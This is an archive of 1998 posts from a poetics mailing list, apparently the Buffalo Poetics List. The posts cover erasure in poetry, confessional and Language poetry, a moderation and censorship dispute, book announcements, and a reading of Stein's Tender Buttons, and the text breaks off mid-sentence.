> unfolding. Because erasure - loss - forgetting - elimination - is

both
> dangerous and necessary.
>
> Erasure refers to the huge pit of absence that an event like the
> holocaust opens in history. Erasure is also a hazard to be faced -
> denial, forgetting, loss of history. But it is also true to the
> process of letting go of, for instance, prejudice or other sick
habits
> of thought, confining codes, errors, the crippling power of trauma.
> Reinventing the self (and the social, and their respective
languages),
> so necessary to continuance, involves selective forgetting.
>
> Much of what we do in poetry now, i think, is to represent such
> processes of transformation, loss and gain, but always in flux.
> Modernism's forward-thrust (make-it-new revolution, extincting the
> old) has given way to a spiral. (Not that this is unprecedented -
> Stevens' poem as act of the mind, ye olde stream-of-consciousness
> etc.) Many of us work on non-linear models to call up the ways that
> thought, perspective, representation, articulation double back on
> themselves, forget some things, repeat and recall others, bog down,
> calm down, agitate again, bifurcate, split, mark, break, erase,
write.
> Little of interest is happening in still-lifes, static judgments.
>
> Yet we are haunted by those erasures, their smudges and tears. If
it's
> all transformation, how do we judge our responsibilities (and
ethical
> choices). Where does the forgotten go? How much of the etymology and
> how many past uses of a word lurk under its apparent surface and
> sound? The unspeakability of that haunting interrupts our accounts
of
> interruption, pins them to their tracks, demands its own
recognition.
>
> The mention of Retallack's ai/d/sappearance - alphabetic subtraction
-
> also reminds of the Oulipo lipograms, esp. Perec's La disparition or
> (in English) A Void, in which the erased letter (E) from the
> vocabulary of the book also becomes the central point of the plot -
> everyone is looking for the thing that has been erased. While Perec

is
> comic about it, mostly, the seriousness of the theme for Perec in
> postwar France is fairly evident.
>
> These seem inescapable writing issues, but Rachel's quite right I
> think to note this as a particularly end-of-this-century urgency.
I'm
> curious how this approach to erasure, at least in tone, might change
> in 10 or 20 years.
>
> carl patrick wilson

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321. **J Kuszai**
Re: Impeach or Censure (Was: Concerns)
Tue 8 Dec 1998

---

dear chalres, your courage as papabear keeps me going or i would have quit this silly "community" long agao. i am so tired, man, of the sad ness i reap from the ugliness on the list--and the spankings i get for wanting it to be fruitful, meaning ful. or for thinkint that it is all there is for me right now. san diego is cold, like a desert moon circling a star with no center. our poetics family seems to have burnt out and you tired paternal badboy on triel for obligoatory offenses. sorry you have to take the blume.

i am lonely here and it is cold. my arthristis keeps my fingers in statinary orbit around hungry keyboard.

i suspect things will happen faster now in manageamtn swtichover and the bailure of juliana and our other lovely friends to hang in there speeds up the creation of a new listserv syntax, which i will write to you about after i have time to think about. the new co-manager must have an iron gut; i dread the idea of going anywhere now and having to talk about this mess, and just assume shoveoff. from here this bale full of wax i can see how quickly that would happen anyway, and i promise to finish my disseration before the millenial purge.

and the idea of having to read another research paper on serial killers, or how to care for lizards, (i sswear)..... and yet i love teaching and seeing progress in the most banal topics such as supporting arugments and with good thesis statments and blahblahd blah ... i am down. it has been a terrible week. before i said i felt that I was sendtenced to the slist and now i feel like i'm clinging to some family unit represented by that forum HOW PATHETIC -- fuck ideogloy. ! if those morons only knew how little time there was for itogdldy., anyhow-------- sorry to be so weepy. I have half a sixpack of beer in my friedge and i am too

frozen to go get aeven one bottle of it. meanwhile imbeachment is like a subtle harpsichord, i cnnot play

i suggest you remove yourself as active owner and just be sponsor as we discused and i will try to check in for everyday until holiday and mla -- i will see you in san fran and we can exhanxcge secret hand-signals as you wont recognize me with beard and cane...

anyhow.....as i said....love, j

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322. Don Cheney
Book Announcement: The Qualms of Catullus & K-mart
Tue 8 Dec 1998

I'm proud to announce that my first book of poetry is now out from Meow Press:

The Qualms of Catullus & K-mart by Don Cheney

27 poems from the full length work.

The poems were selected by Bill Luoma and the cover drawing was done by Rose Anne Raphael.

Here are some reader comments on _The Qualms of Catullus & K-mart_:

"You and Zukofsky are a 1,2 punch out Catullus." James Sherry

"I'm a big fan of your Catullus translations. You're a fucking genius." Juliana Spahr

"Your Catullus is truly great. I read it once a day to ward off the demons." Bill Luoma

"I like it a lot, so ill and so urbane." Stephen Rodefer

"The Qualms of Catullus & K-mart is delightful. That's a decision I reached after I got used to the language, which I then began to enjoy thoroughly - the quirky, surprising, incongruous, humorous diction - Somehow the recurrence of those Roman names with their burden (in more conventional texts) of solemnity in the midst of this modern-day idiom and sometimes these Southern California images is very pleasing also." Lydia Davis

THE QUALMS OF CATULLUS & K-MART: Get it while the getting's good.

Meow Press, 32 pages, 1 drawing, 6 bucks!

via Small Press Distribution [redacted]

SPD Online: http://www.spdbooks.org/

Meow Press Online: http://writing.upenn.edu/epc/presses/meow/

Don Cheney Online: http://www.geocities.com/Paris/5791

Thanks,
Don Cheney

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323. KENT JOHNSON
A response to Charles Bernstein
Tue 8 Dec 1998

Charles:

You are the Listowner and you make decisions as you feel they best serve the List as you understand its nature, purpose, and function. You make that point clearly and I have no argument-- as merely one of the hundreds who visit here-- with your right to run the List in any way you choose. The List is private, as you say.

My concerns were offered in sincerity and good faith, out of a sense that too heavy a hand was being applied to the situation you outline. And while I _do not_, to say it again, feel you have been guided by dishonorable motives in your recent decisions, nothing in your post changes my opinion about the politics of the matter. In fact, to the contrary.

Now, most people on the List seem fairly uninterested in the controversy (as I rightly ascertained in my last post) so I will try to be brief. Let me make just a couple of points, pausing here just to say that if you choose to reply you may call me just "Kent" and not "Kent Johnson," which repeated five times or so makes me feel somewhat like a thing rather than a person...

So now my response: You (unintentionally, I think) reveal, Charles, by going back to the situation "over many months," that the perceived problem of post volume coming from Henry Gould was actually getting better. Getting better in November, it seems, by 100%. Why, then, was Henry placed on "review" at a time when he seemed to be doing precisely what he was being asked to do?

I want to say that I apologize if I misunderstood Gabriel Gudding and misrepresented his situation to the List. You seem to be upset about this, but it wasn't my intent to offer "misinformation" in speaking of him as in the same category with Henry, and Gabriel can perhaps elaborate separately on the nature of his communications with you. But I was right, it appears from your comments, in asserting that Henry's "subscription status" _was_ changed. I understand as well that two of the three posts Henry submitted while he was on such "special status" never appeared on the List. Because of your emphatic assertion that "no post has ever been censored from this list," I now assume that this must have been a technical glitch and had nothing to do with any implementation of

special conditions governing Gould's "review" status. But I admit I felt concern about that when I learned of it.

And I still feel concern, frankly, about the issue of censorship. This does not mean that I feel _you_ see your editorial actions as constituting such, but when you send a message reading

"You appear not to have been willing to reduce the frequency of your posts despite the request made to you earlier in the week. Daily posting is not an option. Please reduce your posts to no more than a few each week."

to a person (Gabe Gudding) who is relatively new to the List and thus has no history behind him of "over-posting," you in effect selectively, and --according to my sincere evaluation of the overall situation-- *because of matters of content,* remove a privilege given publicly to all members of the List: a limit of five posts per day, which to my knowledge no one has come close to violating in any kind of systematic way. To my mind, candor behooves one to acknowledge such intervention as *censorship,* whether one is doing it for the perceived "greater good" or not. For when in a community it is decided by someone who exercises a function of power that a few are not permitted to say what they would like to say, when they would like to say it, and in the form they would like to say it, _when others are given the full privilege to do so_, it becomes something akin to an opposition newspaper in a state-controlled distribution system being allowed the "freedom" to publish, but only with the supply of newsprint that the state has purposely and emphatically curtailed for the sake of the "common good." The state may well be benevolent and have the loftiest of goals, but it is censorship de facto, with the de jure hanging unsaid like a sword behind the screen. Why put someone under "review" if the threat of a post's possible erasure is not there and ready to be wielded?

Of course, this is a Listserv to discuss poetics, not Nicaragua when the Sandinistas were in power. But if I've helped make an issue of the situation it's because I've come to adhere to that school of head-in-the-clouds anarchist thought that believes that any repressive measures against wayward voices have future and noxious consequences that undermine the lofty vision one hopes to achieve. I suppose I believe that in poetry as in poetics as in the institutions enacted by "oppositional" poets for the democratic promulgation of new forms and contents, form and content must be one, or must be an interlocked figure, as someone once said, and that what appears to be plain madness may actually, seen in an unexpected light, prove to be a meaningful part, or, even stranger yet, prove to be part of the ancient and exciting Vedic poetic tradition of insult! Leaders of a community of poets searching wild and open form, then, faced with situations of a wild and sudden irruption of someone saying that other member's cocks and cunts, for example, are not so fine as claimed (see George Thompson's

wonderful post of today) should not --in response to the scandalized "core constituency" of the community-- so quickly say to the wild one that daily posting is not an option; leaders may, rather, want to tell the upset valued members who are complaining to please remember that poetry and poetics is a wild, sometimes frustrating thing in its overwhelming heteroglossia and that if you go away it's probably going to be your loss. And please come back, if you change your mind. We'll always be here.

This is more or less what I meant by being so presumptuous as to suggest that it would have been simply best to allow each and every member to post within the stated limits of five posts per day without the threat of punitive measures. Rather than single some people out and tell them that "daily posting is not an option," it would be best to clearly remind those bothered that they can post the same amount, delete any post with the undesirable name, or propose a change in the List's governing rules for posts per day which the Listowner will take into consideration. But never, in my personal and perhaps overly idealistic opinion, no matter who the person is who threatens to go away, should a leader say, OK, I'll put this guy under special rules in the hopes that he'll change his tune.

But clearly, the decison has been made. I think this is long enough. I will be leaving the List for a long time now. I have greatly enjoyed being here, and I thank Charles, as I did before, for making this space possible. But honestly, something I can't be a part of seems to be happening.

Kent

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324. J Kuszai
ack-farewell (a confessional poem)
Tue 8 Dec 1998

"Silvio's Consolidation of Philosophy"

Written to esteem
the common sort
of index thought
your laughter I love
any Flora angry
crime he perplexed
he would explain:
"I be sick with seeing"
"Destroy their being"
"Hearse be vexed"

some end that here
tears be poured out in store
make playn thyn hert
that it be not knotted
that the tulips may have share
for some late fault
on death beds better stone
dear boy
these assemble not
 my lovely boy

   help
 help
I see it faint

how shall breath hold out wind tide
no   it is an ever-fixed mark
 I took pen in hand, wrote:

'quit vain-spent mine gold drum
 sleep should not help harm
 no fire less forged mind love
 doth mark where I rest

 file dream-name your mind balm
 be plaints found may move
 in Time click and sweet spot
 I had not gone hence'

from _"A Miscellany"_ (Meow Press, 1998)

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325. Bob Grotjohn
three questions
Tue 8 Dec 1998

Question 1:
I am reading Arthur Sze--"Redshifting Web." In that sequence he has
these three lines:

Instead of developing a navy, Ci Xi
ordered architects to construct a two-story
marble boat that floats on a lotus-covered lake

Does anyone know this story? Who Ci Xi was? How I might spell his name to
have more luck finding out who he was? Where to look to find the story?

Question 2: In another part of the poem, he has this line: "as a lobster mold transforms a russula into a delicacy." What is a "russula"? OED on line was no help.

Question 3: I have figured out what a redshift is (more or less). Does anyone know if there is such a thing as a redshifting web--astronomically, cosmologically, referentially to the universe outside the poem--, or is Sze writing to his poem?

Thanks

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326. **Billy Little**
Xplo 6!!!!
Tue 8 Dec 1998

---

i've been reading minus tides, the mag from the next island over, it's a local situationist/surrealist literary political rag(no matter how often the bourgeois drunken television reader says the 60s are over i suspect the sixties are alive all over in the rural and there's an entire new generation our kids with the same values do you find that tu autre rurales?), it includes the work of another poet from nowhere, amanda hale, whose work i couldn't say i like but it disturbs me passing emily dickinson's test of making the hairs on the back of my neck stand up:

Homecoming

the undertaker has grown rich
solid flesh covers bone
the imprisoned maggot eats
its pathways through the soul

the city is full of vampires
swooping on the antennaed dark
banks of blood are changing
hands entire lives

a small clone screams
all genitals and mouth
impotent rage cribbed
in the parlour

sperm fruit conceived
on the embalming slab
soul still glimmering
on the gathering dark

Amanda Hale

Canada is paved with poets

turn left or turn right out votre porte d'or
you're liable to bump into your favorite
i was reading the britpoets list the other day
and there was my favourite bill bissett reading in london i hope you know
bill bissett's work
his pomez n is payntings are a tomic
you can hear them buzzing on the page and on the canvas and when you hear
him sing them
the transformation is complete
he also performs with a band, the luddites
bowering hates him that ought to be enough of a recommendation
bowering doesn't hate him
he's just jealous
kerouac praised bissett
everybody canadian
starved for attention
in this ocean of poets
was jealous of bissett
just george never got over it
i take that back dorothy livesay nor
leonard cohen wasn't jealous of bissett
if you're writing english
and you're not canadian
what chance have you got?
michael ondaatje wasn't jealous of bissett.
margaret avison wasn't allowed to be jealous.
frank davie doesn't have a jealous bone in his body.
gertrude stein never heard of jack kerouac.
you look at the shape of his words
they're repeated they're repeated over and under
as if they merely filled in the drawing these repeated
but then you hear him sing and shake
and suddenly you're not in the words you're in the woods and cool wildman
guillaume kerouac's pet has got you there
three angels and one old goat
work at my post office
goddess bless them
they brought me the new Hexplosive mag, no 6 $5
what a beauty i've been impressed with every issue of Katie Lederer's

magazine that i've seen and this one is the best, the list is well
represented, who is nava fader with this marvelous false translation of
canto xvi from dante's inferno and dave morice hooray make me laugh madman,
Magdalena Zurawski wowski! she's splitting the nucleus! and dave morice
hooray the hysterical poems of jackson maclow he thinks a mile a second
that old man keeps coming to life, Susan Shultz formidable! Dale Smith a
gem. This is an important issue. Let's give her all the support we can,
she's this good now imagine what's to come subscribe increase her
possibility her confidence let her thrive five dollars it's a steal,
there's twenty dollars worth of reading here, send her twice as much as she
wants subscribe for a friend it's chanukah she should have a grant to make
this bilingual capische? Arigato. Tovarich.

Let go, shirk off the moderate little grace of vain
Cupid and grease the silver and lascivious age.
His livid qualms dope our cool arrival.
Rich poems sag like great nuns; art cheats time's martyrs.
--Lisa Robertson XEclogue

billy little
4 song st
satori, b.c. V0R1Z0

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327. david bromige
re The Cold of Poetry/Em's strand
Tue 8 Dec 1998

I have shared your disappointment, finally, with the Confessional poets, for exactly the same cause--they arent confessing much of interest. I am tempted (ands am going to yield to this temptation) to reframe Bob Grenier's "I Hate Speech" and write "I Hate Confessional Poetry." Just as Bob meant (IMHO) "I hate the representation of speech as currently practiced in poetry", so I dislike the representation of confessing, etc.etc. I apologize, to myself first & foremost, for certain generalizations here, but the Confessionals seldom break their frame, and once you've decoded that, what is there to maintain interest? It is like watching a wind-up doll bounce off the walls.

The Confessional poet I've probably read most, is Charles Bukowski. He's not usually called that, but basically, thats what he is up to. I have read a lot of his books because we shared a publisher, who would give me each new Buke as it appeared. I would take it home and devour it like a box of chocolates, and then I would feel just as if that's what I'd done : guilty of time-wasting, ashamed of my self-indulgence, and nauseous.

One objection along this "one-frame-monotony" trail, that I have, is the convectication (if thats a word), the swollen image, of the poet who is delivering the poem. So much comes to depend on his/her life--"interesting"? "Old New England family"? "ex-beauty queen"? "Bogart-cloned alcoholic sex-addict smoker"? Now, no one can help where they come from, but I object where these arbitrary (to me) matters dominate, where they substitute a "life" I cant assume, for a liveliness of text which I can. (Such liveliness, say, as makes Plath readable, despite her being a "Confessional"). [NB : I appreciate that there are groups who value this or that poet as a welcome mouthpiece for hitherto-unaired concerns. I am talking esthetics here, however, not message.]

Maybe some will be surprised that a poet as "personal" as I have been, should feel this way. But (and here I feel especially in line with Emily Lloyd) this interest is precisely why I find Confessional poetry inadequate. Inadequate to personal life as I've known it; a masquerade of personal life, painted mask, con job. Being alive is so much more various, strobe not ditch. Or can be. Might be. Could be. Maybe I only write the wish. Moreover, I see no need to always be pointing out that it is "I" writing it. There's an author's name at the foot of the poem. How the heck would a reader suppose those words had got there, on the page?

In Lyn's "My Life," while we glimpse much of her actual lifetime, what one reads for (again, IMHO) are the sentences, their quality, their variety, their intelligence--and their unpredictable juxtapositions, a non-sequitur quality that keeps a reader on tiptoe.

*

Like many Listafarians, I am distressed and chastened by our recent eventuations, reluctant to post at all yet wanting to help provide something to chew on. I know I perpetrated some of what's been objected to : tit for tat, and also that I have brought my silly-bugger side front-channel, if to the amusement of some, then to the boredom and chagrin of others. I shall try to rein these shadow-side emanations in. I hope today's posting can keep a thread going, and that it doesnt appear that I am pissing on someone's favorite plinth.

I have also wanted to post on the Erasure thread to the effect that erasure is a subset of textual deformation, a process I see as inherent to poetry, not just since the Romantics. Again, my position as a high-poster has held me back. But perhaps Lisa Samuels could weigh in here, with news of her project with Jerome McGann? Erasure, for historical causes accurately discerned by some posts to this thread, is a dominant mode in our century. Had it not been, however, we should have had to invent another. IMHO.

David

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328. **Tosh**
Serge Gainsbourg's Evguenie Sokolov
Tue 8 Dec 1998

I just want to mention that my title Serge Gainsbourg's Evguenie Sokolov is now available at Small Press Distributions as well as Amazon.com, etc.

Tosh Berman
TamTam Books

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329. **Anya Lewin**
Re: Erasing
Tue 8 Dec 1998

I was thinking about erasure in the process of translating - in texts - but also in the fact of someone who is exiled or leaves in choice their country and adopts a new language what happens to their old - particularly people whose language of orgin was representative of horrors etc

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330. **Burt Kimmelman**
Re: The Cold of Poetry &, eventually, "girls"
Tue 8 Dec 1998

---

seems to me that confessing as it is usually understood depends on language that possesses coherence in the way that Langpo is thought not to. moreover, the pizzazz of lowellian poetry (and yes the same can be said more or less for plathian or berrymanian) is that the language is done up to suggest a identifiable and thus somewhat unified or coherent "self" albeit perhaps a self that is in pain because of its self-perceived fragmentation (like the wicked witch of the west from a movie that is more or less contemporaneous?).

bk

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331. Hilton Manfred Obenzinger
Re: Erasing
Tue 8 Dec 1998

Rachel speaks of textuality linked to the depths of ethical and social and poetic feeling -- to differentiate from a kind of abstract literary fascination -- and I agree with her. Treblinka was to be covered over and made into a park. So, then, what is the opposite of erasure? Inscription? Imposition? Bloating up the void? Being written down? A deep sense of presence?

Every blank page (every blank computer screen) writes over a past; every time something is written, it blocks out something else, which is a kind of erasure. Every possibility ends possibilities. While we usually consider erasure as something to recover from, to re-inscribe -- such as the erasure of whole peoples, of memories, of pasts -- there is another aspect: erasure as a positive complement to inscription.

Hilton Obenzinger

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332. Eliza McGrand
Re: a modest proposal
Tue 8 Dec 1998

---

if you go back to juliana spahr's post, she suggested seperate list FOR announcments, and other for the rest. and she mentioned enjoying rest beside announcements until she got way busy and clogged down, and sick of recent spate of snarls.

finally, if you peruse posts going back a few weeks, you will see that most lurker posts (and others) do NOT, as mr./ms. mccreary states, say that they only like announcements.

i am not particularly happy to see namecalling, and the "schoolyard bully" pejorative would, i think, have been better left unsaid.

but gabriel gudding-wise, i must point out a delicious irony: as a woman, am too often treated to persons overendowed with entitlement who feel it is encumbent upon them to "explain" what i have said, speak FOR me, and in so doing, completely ignore what in fact i HAVE said. i suspect that the numerous people, lurkers and otherwise, who have been posting that they like the multiplicity of posts, in addition to announcement posts, are perhaps less than idyllic about having it "explained" that in fact they were posting to say they only read announcements. how quaint that the interpretation is conjoined to disparagement of "schoolyard bullies."

i feel the same frisson of distaste about "schoolyard bully" taunt whether i am, or am not, considered to be lumped among them. how bully of me -- mairead, watch it or i'll take over your "Butch" spot...

call me spike...
e

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333. Ron Silliman
Announcements, Events
Tue 8 Dec 1998

Juliana's point is well taken, but so is the comment "bland, bland, bland"

The EPC has a links page for publishers, but what if it had a page that listed nothing but reading announcements. And another that listed descriptions only of books and magazines. Posted of course by the folks who want the word out about such events.

Anyone who feels overwhelmed by the # of messages should definitely get the digest version. It makes a huge difference to get 3 messages if you've been off-line for 72 hours instead of 150.

I only wish all the other lists (PoetryEtc, UKPoets, and subsubpoetics, say) had the same capacity. CAP-L has a digest option but seems these days to be stuck on just one or two messages per day.

Big event here in Philly this week is Bruce Andrews & Rod Smith in the PhillyTalks series at Writers House, 3805 Locust Walk, 6 PM on Thursday!!

Ron

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334. KENT JOHNSON
Whose sexual organs?
Tue 8 Dec 1998

May I bother the List with with a small correction for clarity's sake? When I said in my reply to Charles Bernstein that

> *Leaders of a community of poets searching wild and open form, then, faced with situations of a wild and sudden irruption of someone saying that other member's cocks and cunts, for example, are not so fine as claimed (see George Thompson's wonderful post of today)*

I should like the apostrophe to be placed _outside_ the 's' in "member's," lest the odd impression be given that I am thinking of a many-organed individual.

Ah, my last post to the List, and see what I am reduced to. A fiddling with cocks and cunts.

Think of me, every now and then.

Kent

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335. **Emily Lloyd**
L=A & L.H.
Tue 8 Dec 1998

Simon & all,

I don't think I've earned the right to define what "L=A=N=G" poetry is (which is to say I know I'll get in trouble here for my simpledom--simpletondom?)...that would mean, of course, that neither have I earned the right to call Hejinian a NON-L=A=N=G poet. But, ugh, I did, so here's an attempt at explaining why.

My simplest, puritan definition of an L=A poet would be a poet whose primary interest is in abandoning (nicer light: questioning) "the signifying function of language, evoking instead the sounds, the non-referentiality of words." In quotes because I scrawled it in my copy of *Tender Buttons* as being something Chas. Bernstein said about Stein--this is probably a paraphrase, and it was not intended by CB, to my knowledge, as a definition of L=A=N=Gpo. I also've got there that CB said the desire to "decode" Stein reflects the reader's "misplaced urge to 'make sense' of poetry." I disagree with CB on Stein here (but I disagree with almost everyone on Stein, inc. CB's "opposites," who say *TB*'s just one big coded lesbian statement). And I don't know if I agree or not with myself putting this fwd as a definition of L=A=N=Gpo (there's some awkward multiple nodes for ya <grin>). I do know that I would name _Writing Is an Aid to Memory_ as what seems to me Hejinian's closest moment to L=A=N=Gpo, but at the same time I'd feel facile in doing so...

The term "confessional" is clearly problematic. Someone quite rightly backchanneled me on my earlier use of it, wondering just what the hell it meant to me. I identified, earlier, capital-C confessional poetry with "speech" and (not or) transparent use of lang., etc., ostensibly about the self--that is, the self not just of the narrator, but of the writer. Such a definition (esp. in the sense of transparency) would not usually apply to Plath or Berryman. It would sometimes apply to Whitman & O'Hara, Hass & Gluck. I dare say there are moments when it would--at least nearly--apply to S.Howe (whom I can't think of as a L=Apoet, either). I failed to say what I identified lowercase-c confessional poetry with, other than, abstractly enough, a sense of "intimacy." Even less academically, I'd say a sense of honesty. At some point, and I can't explain why, I

stopped "trusting" (jeez, this is sounding like a confession) the word(s) of those poets who seemed to be consciously asking for my trust, for me to believe their stories, or their observations, and why not!, since they were putting it in the clearest, more see-through language possible, and in writing (much as I've loved much of her work, for me, one of the most obnoxious lines in poetry is the first sentence of Forche's "The Colonel": "What you have heard is true."). It'll sound like an idiot's mobius/mobile, but when I wrote of hitting a "wall" in reading Confessional Poetry, I meant that I felt something, I think, akin to the (more documented at my schools) way that many students feel when first encountering L=A=N=Gpo (or, sometimes, Stein--but not Hejinian). The "wall" is the language of the poem. For whatever reason, "transparent" language, when used in a poem--and I'm operating as one who cannot think of a "poem" itself as transparent: by "nature," it's a written, crafted thing--anyway, transparent language, when used in a poem, so as to (the poet hopes?) direct attention to the "ideas" or "story" or "thoughts" in the poem and not the language, calls *truckloads* of attention to the language. Of Confessional po., Simon writes, "for me, there is an 'aesthetic experience' (i.e., I do think it's somehow poetic, and not simply a hashing out in verse)." Okay: a poem is an aesthetic experience; a poem in "transparent" language feels, to me, like it's quietly (read: LOUDLY) trying not to be. But I'm talking *transparent* here. Maybe not even Lowell, but, say, Linda Pastan.

"Trust," "truth," "honesty"--I'm embarrassed even to be writing of them. And yet I trust Hejinian's poetry, and I trust Stein's. I trust these because they manage to be, to me, both critically aware of (and sometimes delighting in) language/artifice/poemhood *and*, well, intimate. Whereas, say, when Adrienne Rich goes "and this is the oppressor's language," it just doesn't seem either (critically aware/intimate). In a similar way I have come to think Marianne Moore's work as almost scarily--so intensely is it--intimate.

Could it be that I can't explain (and certainly can't convince) because I'm in love? and for the wrong reasons? I don't doubt it for a second. At any rate, Simon, I hope my tone & stumblings here make it clear that I didn't, in my last post, mean to suggest that you "need to read more of Hejinian" because you're in some way glaringly wrong in calling her a L=Apo. My disagreement is more from the gut than from the intellect (or, to be sure, the background in L=Apo that I don't have). And I don't know who the "most exemplary" L=A=N=Gpoets are, but when I was academically functioning I found _The L=A=N=G=U=A=G=E Book_ & some of Bob Perelman's _The Marginalization of Poetry_ helpful in that arena (L=A=N=Gpos, Simon: don't take this last bit as cheeky. I mean it sincerely: I read the books, I digested them, I can remember finding them very good. But my scholarhead burnt out not long after and I truly can't remember exactly who self-identifies, or is suspected of identifying, as a

L=Apo. Bernstein? Silliman? Andrews? Watten? Grenier? Not--egads--Hejinian?)

Transparent As I Wanna Be,
em

↑ Index

336. Peter Quartermain

Coming in December, puff puff puff!

Wed 9 Dec 1998

--==========_913209710==_

If you're going to the MLA convention, you might try the University Press of New England / Wesleyan University Press book stand for the following, just puffed in Publishers Weekly. The cover, I might add, is a knockout.

--==========_913209710==_

from _Publishers_ Weekly_ 30 November 1998 page 67

_OTHER:_British_and_Irish_Poetry_Since_1970_
Edited by Richard Caddel and Peter Quartermain.
Wesleyan Univ., $19.95 (352 p) ISBN 0-8195-22589; cloth
$45 -22414

Though England has seen a spate of recent anthologies of alternative U.K. poetry, this collection marks the first published in the States in more than two decades. Caddel, a noted poet, and Quartermain, a prominent critic of postmodern poetry, collect a diverse and exciting range of work that is evenly balanced between such trends as Caribbean dub poetry; the mellifluous, baroque lyric as it has been developed in Cambridge; London-based performance and concrete poetry; and "outsider" figures such as Bill Griffiths (an independent Anglo-Saxon scholar) and Tom Raworth, whose Reverdy-inspired early lyrics first found appreciation in the States. The compelling introduction portrays a late-millennium English milieu that is marked by overlapping ethnicities and class perspectives, but that traces an experimental tradition "back to Clare, Blake, Smart and the two Vaughans, Henry and Thomas." The selections from the 55 poets are brief yet excellent. Barry McSweeney, a self-styled Rimbaudian, is represented by a number of terse, direct

poems that flaunt pvocative language. Denise Riley's subtle, tradition-conscious ear allows lines that are unexpectedly comforting, while Raworth's "That More Simple Natural Time Tone Distortion," a sonic joy-ride of one- to three-word lines that bristle with pixilated narrative, is a contrast to his traditional short lyric "Out of a Sudden." Tom Leonard's Glasgow Scots, not unlike John Agard's Guyanese-inflected idiom, brings to eye and ear a sweet, confident music that is unlike anything in this country. Veronica Forrest-Thomson, a poet and critic who died at 28; Cris Cheek; Maggie O'Sullivan and concrete poet Bob Cobbing are all well represented, as are important figures who guided the influx of New American poetry to the islands: Eric Mottram, Roy Fisher and Andrew Crozier. This is an important sourcebook to a literature that is probably more marked by multi-culturalist energy and divergences from the main modernist line than that of the United States. (_December_)

--==========_913209710==_

+ +

Peter Quartermain
846 Keefer Street
Vancouver
B.C.
Canada V6A 1Y7
Voice : [redacted]
Fax: [redacted]

+ +

--==========_913209710==_--

↑ Index

337. Emily Lloyd

Stein,Charles,&LesbianCodes:one girl's fantasy "Oprah"

Wed 9 Dec 1998

In my last post, I mentioned disagreeing with Charles & some other pro. critics on Stein's *Tender Buttons*, but didn't go into why. Below is why. It's a longish why--a msg. I sent a yr. or so ago to a friend who was unfamiliar with

both some major critics' and, um, my takes on *TB*, so there appear quotes from critics, then my takes on the quotes.

If length/tone/or topic is unbearable, please delete at will. But I didn't think it was--honorable?--to leave with "I disagree with the world-on-Stein" and no "here's why"s. em

---

On *Tender Buttons*: *Eliz. Frost, fr. *Postmodern Culture*, v.5 n.3: "Stein's poetic experiment remains separate from the social and political realms that avant-garde artists of her day addressed in their highly polemical & disorienting art & manifestoes. One need only compare *TB* to any # of Marinetti's pronouncements, or to Apollinaire's "Merveilles de la Guerre," or even Breton's first surrealist manifesto, to see the extent to which Stein insisted on the privacy of her language...Stein's fetishization of lang. both exalts lang. to the status of material object & participates in disguising the erotic 'content' of *TB* as a whole... [note: GS' tendency to "isolate intimate, personal experience from the public sphere is being revisited/critiqued by fem. theorists who stress the political implications of speech in the public sphere & the 'impossibility' of separating the symbolic realm of lang. from the social realities lang. reflects]

*in somewhat of the same vein, William Gass & Lisa Ruddick, on *TB*, suggest GS uses this hermetic space to create a private lang. of lesbian experience in which particular words function as clues ("THIS IS THIS DRESS, AIDER"= "this is distress, Ada"--where "Ada" was a nickname Stein had for Toklas). Individual words also function as codes for sexual experience (cow=orgasm, etc.).

My Thoughts on the Above: bullhunky, mostly. Must everyone assume the forms Stein uses are used as hiding places--is that the only way to interrogate these forms, if we know she was a dyke? First of all, it does not appear to me that Stein is hiding anything in her writing--nor would that thesis gel with the open way in which she lived. Second, "private lang." published/publicized isn't all that private anymore, is it? How can one say the erotic content of *TB* is disguised? One would need to lack much imagination & sense of humor about eroticism to believe this--the sort of person who needs to see genitals called genitals before s/he realizes sex is being talked about...or thinks s/he is *special* for realizing sex is being talked about when genitals *aren't* explicitly referred to, thinks the general reader won't get this, so it must be patiently explained in a scholarly essay. How about the idea that words that refer specifically to genitals are TIRED? Aren't cheeky, aren't erotically FUN anymore? Take the poem called "PEELED PENCIL, CHOKE," the entire text of which, after the title, is "Rub her coke." I find this dizzingly, a bit disturbingly, but most importantly, *powerfully* erotic. Would Eliz. Frost have it read "Rub her clit"? Does she think this really reads as a command to fondle someone's soda-pop

bottle? I think of the time K. and I were interrogating the ways in which pop-culture sexual scripts filtered into our own lives as if naturally--how K., an atheist, would say "Oh, God" during sex--and so we actively decided to try and eroticize previously "non-erotic" phrases (say, "I'm a little teapot") by using them in a sexual context. Of course this works. Basically, one is freshening, or re- inventing, sex, as one might say that GS freshens, or re-invents, language. One is naming. While I'm not convinced that the question of whether or not GS was politically "radical" enough in her poetry is the place to start interrogating her form, it seems clear that this naming, freshening, or whatever you want to call it, is radical at a far less surface level than penning "I love you, you love me, homosexuality!" It is also re-naming/inventing sex & lang. in a far less narrow way: by this, I mean, NOT just for lesbians. Dudes can rub her coke, too. She can rub a dude's coke, and then we have to re-guess what coke might mean. Insofar as GS' work contains specifically lesbian content (in places in *TB*, more obviously in "Miss Furr and Miss Skeene" and "Lifting Belly"), it seems to me that she is embracing erotic experience, period, and that "lesbian sex" is simply the context in which she knows it. She's not trying to exalt lesbianism over other erotic experiences, as so many lesbian writers seem hell-bent on doing: Stein is in no way *defensive* about her sexual choices. *She's not on the defense, so she doesn't need to be on the offense.* I expect fem. theorists make their mistakes about Stein because they find it impossible to explain how she could be so utterly open, so "so what," about her lesbianism in the early 1900s, when VERY few lesbian writers are "sho what" about it even now. It IS almost impossible to believe. However, that's how it was, I think. To the greatest possible extent, Stein seems (in life, at least) to have simply expected others to rise above thinking there was anything special about her being a dyke...this "aside" should certainly pale, she'd think, to her being a "genius." Which she was convinced she was, with relatively little public support to substantiate her claim. A genius is not a woman, or a lesbian, or a man, or what-have-you (Stein might think). It's another species. It should not be disturbed with such trivial things as objections to its sex, sex life, weight, etc. And, for the most part, it seems that she wasn't (by salon visitors, etc.). This must, to some extent, have been due to her demeanor (and her charisma). Everyone knows that you can get away with shoplifting if you just walk in the store acting as though it were your right, and nothing out of the ordinary, to pocket something. Note that there was a large, tight-knit community of lesbians and bi women on the left bank in Stein's time, salon-ing at Natalie Barney's place--and that Stein had nothing to do with them. Why? Because they were not geniuses. Picasso, Alfred Whitehead-- others Stein considered geniuses--were her chosen company. Today's fem theorists gnash their teeth upon hearing that GS, when asked what she thought of "The Woman Question," replied that it had nothing to do with her. They are unable to understand how it had nothing to do with her. In the name

